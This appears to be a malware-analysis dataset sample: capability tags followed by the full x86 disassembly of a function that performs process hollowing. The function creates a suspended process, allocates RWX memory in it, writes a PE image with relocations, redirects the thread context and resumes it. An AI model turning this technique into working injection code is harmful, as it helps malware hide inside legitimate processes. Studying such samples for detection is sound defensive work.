Function at 0x405c60
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7f4
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x2c], edi
test edi, edi
je 0x405fae
push 0x401350
push 0x401368
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x405fae
mov ebx, dword [edi + 0x3c]
mov eax, 0x14c
add ebx, edi
mov dword [ebp - 4], ebx
cmp word [ebx + 4], ax
jne 0x405fae
movzx eax, word [ebx + 0x5c]
cmp eax, 3
jne 0x405cc7
mov ecx, 0x401378
jmp 0x405cd5
cmp eax, 2
jne 0x405fae
mov ecx, 0x4013c0
xor eax, eax
mov byte [ebp + eax - 0x20], 0
inc eax
cmp eax, 0x10
jb 0x405cd7
xor eax, eax
mov byte [ebp + eax - 0xa0], 0
inc eax
cmp eax, 0x44
jb 0x405ce4
xor eax, eax
nop dword [eax]
nop dword [eax + eax]
mov byte [ebp + eax - 0x370], 0
inc eax
cmp eax, 0x2cc
jb 0x405d00
xor eax, eax
mov byte [ebp + eax - 0x58], 0
inc eax
cmp eax, 0x18
jb 0x405d12
mov dword [ebp - 0x370], 0x10007
movzx eax, word [ebx + 0x14]
add eax, 0x18
add eax, ebx
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xa0]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405fa5
lea eax, [ebp - 0x40]
push eax
push 0x18
lea eax, [ebp - 0x58]
push eax
push 0
push dword [ebp - 0x20]
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
push 0
push 0x480
lea eax, [ebp - 0x7f0]
push eax
push dword [ebp - 0x54]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x370]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x405f95
push dword [ebp - 0x7e8]
push dword [ebp - 0x20]
call esi
test eax, eax
jne 0x405f95
push 0x40
push 0x3000
push dword [ebx + 0x50]
push dword [ebp - 0x7e8]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x7e8]
mov edx, ecx
sub edx, dword [ebx + 0x34]
push 0
push dword [ebx + 0x54]
mov dword [ebx + 0x34], ecx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push eax
push dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x28], edx
call ebx
mov eax, dword [ebp - 4]
xor edx, edx
xor esi, esi
movzx eax, word [eax + 6]
mov ecx, eax
cmp dx, ax
jae 0x405e3c
mov ecx, dword [ebp - 0x24]
movzx eax, si
lea eax, [eax + eax*4]
lea ecx, [ecx + eax*8]
mov eax, dword [ecx + 0x14]
test eax, eax
je 0x405e2d
push 0
push dword [ecx + 0x10]
add eax, edi
push eax
mov eax, dword [ecx + 0xc]
add eax, dword [ebp - 0x10]
push eax
push dword [ebp - 0x20]
call ebx
mov eax, dword [ebp - 4]
inc esi
movzx eax, word [eax + 6]
cmp si, ax
jb 0x405e06
mov ecx, eax
cmp dword [ebp - 0x28], 0
je 0x405f56
xor eax, eax
xor edx, edx
mov dword [ebp - 0x30], eax
cmp dx, cx
jae 0x405f56
mov ecx, dword [ebp - 4]
nop dword [eax]
xor edx, edx
inc edx
cmp byte [edx + 0x401404], 0
jne 0x405e62
mov ebx, dword [ebp - 0x24]
movzx eax, ax
lea eax, [eax + eax*4]
lea eax, [ebx + eax*8]
mov dword [ebp - 0xc], eax
mov esi, eax
test edx, edx
je 0x405ea0
mov edi, 0x401404
sub edi, eax
mov al, byte [esi]
lea ecx, [esi + edi]
dec edx
lea esi, [esi + 1]
cmp al, byte [ecx]
jne 0x405f3c
test edx, edx
jne 0x405e88
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 0xa4]
xor ebx, ebx
mov dword [ebp - 0x34], ecx
test ecx, ecx
je 0x405f3c
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x2c]
nop dword [eax]
mov ecx, dword [eax + 0x14]
add ecx, ebx
add ebx, 8
add ecx, edx
mov dword [ebp - 0x38], ecx
mov edi, dword [ecx + 4]
sub edi, 8
shr edi, 1
je 0x405f37
mov eax, dword [eax + 0x14]
add eax, ebx
add ebx, 2
movzx esi, word [eax + edx]
mov eax, 0x1000
cmp si, ax
jb 0x405f2f
push 0
and esi, 0xfff
mov dword [ebp - 8], 0
add esi, dword [ecx]
lea eax, [ebp - 8]
add esi, dword [ebp - 0x10]
push 4
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
lea eax, [ebp - 8]
push 0
push 4
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
sub edi, 1
jne 0x405ed7
cmp ebx, dword [ebp - 0x34]
jb 0x405ec0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 4]
inc eax
mov dword [ebp - 0x30], eax
cmp ax, word [ecx + 6]
jb 0x405e60
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x2cc]
add eax, 8
push eax
push dword [ebp - 0x20]
call ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 0x28]
add eax, dword [ecx + 0x34]
mov dword [ebp - 0x2c0], eax
lea eax, [ebp - 0x370]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret